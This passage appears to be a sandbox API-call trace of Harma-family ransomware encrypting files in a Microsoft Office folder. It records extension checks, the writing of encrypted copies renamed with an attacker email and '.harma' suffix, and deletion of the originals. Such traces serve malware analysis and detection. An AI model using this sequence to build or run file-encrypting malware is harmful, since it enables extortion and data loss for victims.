CloseHandle (hObject=0x21c) returned 1 [0168.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll")) returned 0x20 [0168.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.580] lstrlenW (lpString=".doc") returned 4 [0168.580] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.580] lstrlenW (lpString=".docx") returned 5 [0168.580] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0168.581] lstrlenW (lpString=".pdf") returned 4 [0168.581] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.581] lstrlenW (lpString=".xls") returned 4 [0168.581] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.581] lstrlenW (lpString=".xlsx") returned 5 [0168.581] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0168.581] lstrlenW (lpString=".ppt") returned 4 [0168.581] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.581] lstrlenW (lpString=".zip") returned 4 [0168.581] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.581] lstrlenW (lpString=".rar") returned 4 [0168.581] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.581] lstrlenW (lpString=".bz2") returned 4 [0168.581] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.581] lstrlenW (lpString=".7z") returned 3 [0168.581] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.581] lstrlenW (lpString=".dbf") returned 4 [0168.581] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.581] lstrlenW (lpString=".1cd") returned 4 [0168.581] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.581] lstrlenW (lpString=".jpg") returned 4 [0168.581] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.581] lstrlenW (lpString=".doc") returned 4 [0168.582] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.582] lstrlenW (lpString=".docx") returned 5 [0168.582] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0168.582] lstrlenW (lpString=".pdf") returned 4 [0168.582] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.582] lstrlenW (lpString=".xls") returned 4 [0168.582] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.582] lstrlenW (lpString=".xlsx") returned 5 [0168.582] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0168.582] lstrlenW (lpString=".ppt") returned 4 [0168.582] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.582] lstrlenW (lpString=".zip") returned 4 [0168.582] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.582] lstrlenW (lpString=".rar") returned 4 [0168.582] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.582] lstrlenW (lpString=".bz2") returned 4 [0168.582] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.582] lstrlenW (lpString=".7z") returned 3 [0168.582] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.582] lstrlenW (lpString=".dbf") returned 4 [0168.582] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.582] lstrlenW (lpString=".1cd") returned 4 [0168.582] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0168.582] lstrlenW (lpString=".jpg") returned 4 [0168.582] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.583] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.583] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0168.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.584] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=531800) returned 1 [0168.584] CloseHandle (hObject=0x384) returned 1 [0168.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll")) returned 0x20 [0168.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.584] lstrlenW (lpString=".doc") returned 4 [0168.585] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.585] lstrlenW (lpString=".docx") returned 5 [0168.585] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0168.585] lstrlenW (lpString=".pdf") returned 4 [0168.585] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.585] lstrlenW (lpString=".xls") returned 4 [0168.585] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.585] lstrlenW (lpString=".xlsx") returned 5 [0168.585] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0168.585] lstrlenW (lpString=".ppt") returned 4 [0168.585] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.585] lstrlenW (lpString=".zip") returned 4 [0168.585] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.585] lstrlenW (lpString=".rar") returned 4 [0168.585] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.585] lstrlenW (lpString=".bz2") returned 4 [0168.585] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.585] lstrlenW (lpString=".7z") returned 3 [0168.585] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.585] lstrlenW (lpString=".dbf") returned 4 [0168.585] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.585] lstrlenW (lpString=".1cd") returned 4 [0168.585] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.585] lstrlenW (lpString=".jpg") returned 4 [0168.586] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.586] lstrlenW (lpString=".doc") returned 4 [0168.586] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString=".docx") returned 5 [0168.586] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0168.586] lstrlenW (lpString=".pdf") returned 4 [0168.586] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString=".xls") returned 4 [0168.586] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString=".xlsx") returned 5 [0168.586] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0168.586] lstrlenW (lpString=".ppt") returned 4 [0168.586] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.586] lstrlenW (lpString=".zip") returned 4 [0168.586] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString=".rar") returned 4 [0168.586] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.586] lstrlenW (lpString=".bz2") returned 4 [0168.586] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.586] lstrlenW (lpString=".7z") returned 3 [0168.586] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.587] lstrlenW (lpString=".dbf") returned 4 [0168.587] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.587] lstrlenW (lpString=".1cd") returned 4 [0168.587] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0168.587] lstrlenW (lpString=".jpg") returned 4 [0168.587] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.587] lstrcmpiW (lpString1=".HLP", lpString2=".harma") returned 1 [0168.587] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0168.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.588] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=31497) returned 1 [0168.588] CloseHandle (hObject=0x384) returned 1 [0168.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp")) returned 0x20 [0168.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.589] lstrlenW (lpString=".doc") returned 4 [0168.589] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0168.589] lstrlenW (lpString=".docx") returned 5 [0168.589] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0168.589] lstrlenW (lpString=".pdf") returned 4 [0168.589] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0168.589] lstrlenW (lpString=".xls") returned 4 [0168.589] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0168.589] lstrlenW (lpString=".xlsx") returned 5 [0168.589] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0168.589] lstrlenW (lpString=".ppt") returned 4 [0168.589] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.589] lstrlenW (lpString=".zip") returned 4 [0168.589] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0168.589] lstrlenW (lpString=".rar") returned 4 [0168.589] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0168.589] lstrlenW (lpString=".bz2") returned 4 [0168.589] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0168.589] lstrlenW (lpString=".7z") returned 3 [0168.589] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.589] lstrlenW (lpString=".dbf") returned 4 [0168.589] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.590] lstrlenW (lpString=".1cd") returned 4 [0168.590] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.590] lstrlenW (lpString=".jpg") returned 4 [0168.590] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.590] lstrlenW (lpString=".doc") returned 4 [0168.590] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0168.590] lstrlenW (lpString=".docx") returned 5 [0168.590] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0168.590] lstrlenW (lpString=".pdf") returned 4 [0168.590] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0168.590] lstrlenW (lpString=".xls") returned 4 [0168.590] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0168.590] lstrlenW (lpString=".xlsx") returned 5 [0168.590] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0168.590] lstrlenW (lpString=".ppt") returned 4 [0168.590] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.590] lstrlenW (lpString=".zip") returned 4 [0168.590] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0168.590] lstrlenW (lpString=".rar") returned 4 [0168.590] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0168.590] lstrlenW (lpString=".bz2") returned 4 [0168.590] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0168.590] lstrlenW (lpString=".7z") returned 3 [0168.590] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.590] lstrlenW (lpString=".dbf") returned 4 [0168.591] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0168.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.591] lstrlenW (lpString=".1cd") returned 4 [0168.591] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0168.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0168.591] lstrlenW (lpString=".jpg") returned 4 [0168.591] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0168.591] lstrcmpiW (lpString1=".chr", lpString2=".harma") returned -1 [0168.591] lstrlenW (lpString="CharSetTable.chr") returned 16 [0168.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.591] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=56514) returned 1 [0168.592] CloseHandle (hObject=0x384) returned 1 [0168.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 0x20 [0168.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.592] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.593] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0168.593] GetLastError () returned 0x0 [0168.593] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xdcc2, lpOverlapped=0x0) returned 1 [0168.618] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xdcd0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xdcd0, lpOverlapped=0x0) returned 1 [0168.619] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.620] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0168.620] SetEndOfFile (hFile=0x390) returned 1 [0168.620] CloseHandle (hObject=0x390) returned 1 [0168.620] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.620] SetEndOfFile (hFile=0x384) returned 1 [0168.623] CloseHandle (hObject=0x384) returned 1 [0168.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 1 [0168.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.624] lstrlenW (lpString=".doc") returned 4 [0168.624] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0168.624] lstrlenW (lpString=".docx") returned 5 [0168.625] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0168.625] lstrlenW (lpString=".pdf") returned 4 [0168.625] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString=".xls") returned 4 [0168.625] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString=".xlsx") returned 5 [0168.625] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0168.625] lstrlenW (lpString=".ppt") returned 4 [0168.625] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.625] lstrlenW (lpString=".zip") returned 4 [0168.625] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString=".rar") returned 4 [0168.625] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString=".bz2") returned 4 [0168.625] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0168.625] lstrlenW (lpString=".7z") returned 3 [0168.625] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0168.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.625] lstrlenW (lpString=".dbf") returned 4 [0168.625] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.625] lstrlenW (lpString=".1cd") returned 4 [0168.625] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0168.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.625] lstrlenW (lpString=".jpg") returned 4 [0168.625] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0168.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.626] lstrlenW (lpString=".doc") returned 4 [0168.626] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString=".docx") returned 5 [0168.626] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0168.626] lstrlenW (lpString=".pdf") returned 4 [0168.626] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString=".xls") returned 4 [0168.626] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString=".xlsx") returned 5 [0168.626] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0168.626] lstrlenW (lpString=".ppt") returned 4 [0168.626] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.626] lstrlenW (lpString=".zip") returned 4 [0168.626] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString=".rar") returned 4 [0168.626] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString=".bz2") returned 4 [0168.626] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0168.626] lstrlenW (lpString=".7z") returned 3 [0168.626] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0168.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.626] lstrlenW (lpString=".dbf") returned 4 [0168.626] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0168.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.626] lstrlenW (lpString=".1cd") returned 4 [0168.626] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0168.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0168.626] lstrlenW (lpString=".jpg") returned 4 [0168.626] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0168.627] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.627] lstrlenW (lpString="CMAX20.DLL") returned 10 [0168.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.629] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=722296) returned 1 [0168.629] CloseHandle (hObject=0x384) returned 1 [0168.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll")) returned 0x20 [0168.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.642] lstrlenW (lpString=".doc") returned 4 [0168.642] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.642] lstrlenW (lpString=".docx") returned 5 [0168.642] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0168.642] lstrlenW (lpString=".pdf") returned 4 [0168.642] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.642] lstrlenW (lpString=".xls") returned 4 [0168.642] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.642] lstrlenW (lpString=".xlsx") returned 5 [0168.642] lstrcmpiW (lpString1=".xlsx", 